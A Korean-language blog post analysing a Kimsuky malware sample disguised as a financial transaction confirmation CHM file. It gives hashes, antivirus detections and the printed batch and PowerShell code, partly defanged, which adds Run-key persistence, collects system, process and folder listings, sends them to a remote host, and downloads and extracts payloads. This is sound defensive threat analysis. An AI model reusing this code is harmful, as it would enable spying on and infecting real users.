꿈을꾸는 파랑새

오늘은 북한 해킹단체 김수키(Kimsuky) 에서 만든 금융거래확인서로 위장한 악성코드 confirmation.chm(2024.12.10)에 대해 글을 적어보겠습니다. 일단 해당 금융거래확인서가 발생이 된 것은 2024.9.23일로 확인이 되면 혁신성장촉진자금(운전) 부분으로 돼 있으며 경기도 이천 쪽 중소기업으로 대상으로 타겟한것 같기도 합니다. 먼저 악성코드 해수값은 다음과 같습니다.
파일명:confirmation.chm
사이즈:312,240 Bytes
MD5:08b4bcee92417560d61c5f29649cdfad
SHA-1:38032503b59125fb464e1b7aaa449d33caaafc29
SHA-256:e6bcdb402999f6f35351c0b9a1be84345aea88c3f662ba27341d7857aeb8cc39
일단 해당 코드는 chm 즉 윈도우 도움말처럼 위장하고 있지만 요즈음 이런 것 거의 안 씀
일단 해당 악성코드 분석을 조금 더 박신주의 정신으로 하려고 악성코드를 풀어주면 다음과 같은 파일들이 있는 것을 확인할 수가 있습니다.

Chm 악성코드 압축 풀기
Chm 악성코드 압축 풀기

먼저 해당 악성코드를 실행하면 openCI.vbs를 실행을 하게 되어져 있는 것을 확인할 수가 있습니다.
C:\Users\Public\Libraries 경로에 있어야 하며 이를 통해 추가적인 악성코드 동작을 합니다.
그리고 사용자 에게는 back.png 이라는 파일을 보여 주게 돼 있습니다.
openCI은 0385768.bat을 실행하려는 것이기 때문에 건너뜀

악성코드 실행시 화면
악성코드 실행시 화면

0385768.bat 코드

@ecxo off
rem aNlW(a)Ya(Z)CNhEeJJvyXnk
pushd "%~(d)p0"
reg query HK(C)U\SOFTWARE\Microso(f)t\Windows\CurrentVe(r)sion\Run /v ope(n)CI > nul
if %ERRORLEVEL% equ 0 (goto NOR(M)AL) else (goto R(E)GISTER)
:REGISTE(R)
reg add HKC(U)\SOFTWARE\Microsoft\Windows\CurrentV(e)rsion\Run /v openCI /t REG_SZ /d "\"%~dp0openCI(.)vbs\""
:NORMAL
if exist "8485823(.)bat" (
	call 8485823(.)bat > nul
	del /f /q 8485823(.)bat > nul
)
set r=hxxps://nasweir(.0com
call 5674932(.)bat %r% > nul
call 7572639(.)bat %r% > nul
timeout -t 120 /nobreak
goto NORMAL

0385768.bat 에 포함된 코드
0385768.bat 에 포함된 코드

코드 분석

현재 스크립트가 위치한 디렉터리로 작업 디렉터리를 변경
%~dp0는 스크립트 파일의 경로를 반환 이를 통해 상대 경로 문제를 방지
레지스터리 작업
레지스트리를 쿼리하여HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 키에 openCI 항목이 있는지 확인
Run 부분은 컴퓨터가 시작할 때 시작을 하는 프로그램들이 있는 곳이므로 부팅 시 계속 실행을 하기 위함
ERRORLEVEL 값이 0이면 openCI 항목이 존재(정상 등록됨)
정상 등록이 되지 않았다면 값이 존재하지 않기 때문에 goto REGISTER 로 이동
레지스트리에 openCI 라는 이름으로 현재 디렉터리에 있는 openCI.vbs를 등록
HKCU (HKEY_CURRENT_USER)경로에 저장
사용자가 로그인할 때마다 openCI.vbs가 실행됨
8485823.bat 파일이 존재하면 해당 파일을 호출
호출 후 파일을 강제로 삭제(del /f /q)
5674932.bat와 7572639.bat 파일을 호출하며 매개변수로 원격 주소 hxxps://nasweir(.)com 전달
timeout -t 120:120초 동안 대기
이후 goto NORMAL로 돌아가 무한 반복

8485823.bat 코드

@e??o off
rem bTskBNJ(g)wkFixAbgeujN
pushd "%~d(p)0"
systeminfo > (%)~dp0s
timeout -t 1 /no(b)reak
tasklist > %~d(p)0t
timeout -t 1 /nob(r0eak
dir "C:\Users\%usern(a)me%\Desktop" /a/o-d/s > %~dp0e
timeout -t 1 /nob(r)eak
dir "C:\Users\%usern(a)me%\Downloads" /a/o-d/s > %~dp0o
timeout -t 1 /n(o)break
set l=hxxps://nasweir(.)com
call 3847683(.)bat %l% "%~dp0s" > nul
timeout -t 1 /no(b)reak
call 3847683(.)ba(t) %l% "%~dp0t" > nul
timeout -t 1 /nobr(e)ak
call 3847683(.)bat %l% "%~dp0e" > nul
timeout -t 1 /nobreak
call 3847683(.)bat %l% "%~dp0o" > nul
timeout -t 1 /n(o)break

코드 분석

1. 시스템 정보 수집
Windows 명령어 systeminfo를 실행하여 시스템 정보를 수집
수집된 정보를 스크립트가 있는 디렉터리의 s 파일에 저장
수집 내용하는 목록:
운영체제 이름, 운영체제 버전
시스템 모델, 프로세서 정보
네트워크 구성
설치된 패치 정보 등
2. 실행 중인 프로세스 수집
tasklist 명령어를 실행하여 실행 중인 모든 프로세스 목록을 수집

악성코드 에 포함된 금융거래확인서
악성코드 에 포함된 금융거래확인서


프로세스 목록을 t 파일에 저장
수집 내용:
실행 중인 프로세스 이름
PID (프로세스 ID)
메모리 사용량 등
3. 파일 정보 수집
사용자의 바탕화면 디렉터리의 파일 및 하위 폴더 목록을 e 파일에 저장
다운로드(Downloads) 디렉터리의 파일 및 하위 폴더 목록을 o 파일에 저장
파일명, 크기, 수정 날짜 등 디렉터리 정보가 저장
/a 옵션:숨긴 파일 포함
/o-d 옵션:최신 파일부터 정렬
/s 옵션: 하위 디렉터리 포함
4. 원격 서버로 데이터 전송
hxxps://nasweir(.)com 을 매개변수로 전달.
이전 단계에서 생성된 파일(s,t,e,o)을 3847683.bat을 통해 원격 서버로 전송

0385768. bat 코드

@echo ?ff
rem aNlWaYa(Z)CNhEeJJvyXnk
pushd "%~d(p)(0)"
reg query HKCU\SOFTW(A)RE\Microsoft\Windows\CurrentVersion\Run /v openCI > nul
if %ERROR(L)EVEL% equ 0 (goto NORMAL) else (goto REGISTER)
:REGISTER
reg add HKCU(\)SOFTWARE\Microsoft\Windows\CurrentVersion\(R)un /v openCI /t REG_SZ /d "\"%~dp0openCI(.)vbs\""
:NORMAL
if exist "8485823(.)bat" (
	call 8485823(.)bat > nul
	del /f /q 8485823(.)bat > nul
)
set r=hxxps://nasweir(.)com
call 5674932.bat %r% > nul
call 7572639.bat %r% > nul
timeout -t 120 /nobreak
goto NORMAL

코드 분석

1.레지스트리 확인 및 설정
레지스트리 쿼리:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 경로에서 openCI라는 값이 존재하는지 확인
값이 존재하지 않으면: REGISTER으로 이동하여 값을 추가
REG_SZ 형식으로 openCI.vbs 파일의 경로를 추가
이렇게 컴퓨터 재시작 시 해당 악성코드는 계속 실행
2. 스크립트 실행 및 삭제
8485823.bat 파일이 존재하면 호출
실행하고 해당 배치 파일을 강제로 삭제
-3. 원격 서버와의 상호작용
hxxps://nasweir(.)com을 변수 r에 저장
5674932.bat`와 7572639.bat 파일을 호출하고 해당 URL에 매개변수로 전달
지속성 유지
timeout 명령어로 120초 대기
이후 goto NORMAL로 돌아가 루프 반복

악성코드 실행시 생성되는 파일들
악성코드 실행시 생성되는 파일들

2837492.bat 코드

@ec?o off
rem D(e)piaDQCxcHlOhQRYGFW
pushd "%(~)dp0"
set "l=%(~)1"
set "f=%(~)2"
set n=44
powershell -ep bypass -comma(n)d "Add-Type -Assemb(l)yName System.IO.Compression(.)FileSystem;$l='%l%';$f='%f%';$c=[Convert]::ToBase64S(t)ring([System.Text(.)Encoding]::ASCII(.)GetBytes($env:COM(P)UTERNAME));$a='Mozilla/5.0 (comp(a)tible; MSIE 10.0; Windows NT 6.*; W(O)W64; Trident/6.0)';$u=$l+'/out(.)php?cn='+$c;$r=(Invoke-Re(s)tMethod -uri $u -(U)serAgent $a);if ($r.Length (-)gt 32){Remove-Item $f -Force;$b=[Convert]::(F)romBase64String($r);[System(.)IO.File]::WriteA(l)lBytes($f,$b);$h=[System(.)IO.Compression(.)ZipFile]::Ope(n)Read($f);foreach ($e in $h.Entries){[System.IO.C(o)mpression.ZipFileExtensions]::ExtractToF(i)le($e,$e.FullN(a)me,$true);}$h.Dispose();Remove-Item $f -Force;}"

코드 분석

PowerShell 명령을 실행하여 다음과 같은 작업을 수행
ep bypass:실행 정책(Execution Policy)을 bypass로 설정 해서 제한 없이 PowerShell 스크립트를 실행
원격 서버에서 데이터 요청 및 수신 그리고 수신된 데이터가 조건에 맞으면 파일로 저장 및 ZIP 파일을 디코딩 및 압축 해제 및 원본 파일 삭제
2. 서버와의 통신
$l:첫 번째 매개변수로 전달받은 주소
$f:두 번째 매개변수로 전달받은 파일 경로.
$c:시스템의 컴퓨터 이름(COMPUTERNAME)을 Base64로 인코딩
$a: 사용자 에이전트(User-Agent)를 지정 브라우저처럼 보이게 위장하여 트래픽이 탐지되지 않도록 함
$u: URL/out(.)php?cn=(컴퓨터 이름) 형식으로 원격 서버 요청 주소 생성
$r: 서버로부터 응답 데이터 수신

악성코드 실행시 PowerShell 실행 코드
악성코드 실행시 PowerShell 실행 코드

2024-12-12 00:42:02 UTC 기준 바이러스 토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/CHM.Generic
AliCloud:SypWare:Win/Phish.a
ALYac:Trojan.Downloader.CHM
Arcabit:Heur.BZC.ONG.Pantera.191.4F0A8057 [many]
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.ONG.Pantera.191.4F0A8057
CTX:Chm.trojan.pantera
Emsisoft:Heur.BZC.ONG.Pantera.191.4F0A8057 (B)
eScan:Heur.BZC.ONG.Pantera.191.4F0A8057
ESET-NOD32:Multiple Detections
Fortinet:BAT/Kimsuky.GOSU!tr
GData:BAT.Trojan.Agent.W042KM
Google:Detected
Ikarus:Trojan.HTML.Agent
Kaspersky:HEUR:Trojan.BAT.Agent.gen
Lionic:Trojan.HTML.Pantera.4!c
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Skyhigh (SWG):Artemis!Trojan
Symantec:Trojan.Gen.MBT
Tencent:Bat.Trojan.Agent.Ssmw
Trellix (HX):Heur.BZC.ONG.Pantera.191.4F0A8057
TrendMicro:TROJ_FRS.VSNTLB24
TrendMicro-HouseCall:TROJ_FRS.VSNTLB24
Varist:BAT/Agent.ASI
VIPRE:Heur.BZC.ONG.Pantera.191.4F0A8057
기본적으로 안티바이러스 프로그램을 설치를 및 실시간 감시 업데이트를 하는 습관과 함부로 파일을 열어보지 않는 것 그리고 기본적인 보안 수칙을 잘 지키는 것이 안전하게 컴퓨터를 사용하는 방법입니다.


공유하기

facebook twitter kakaoTalk kakaostory naver band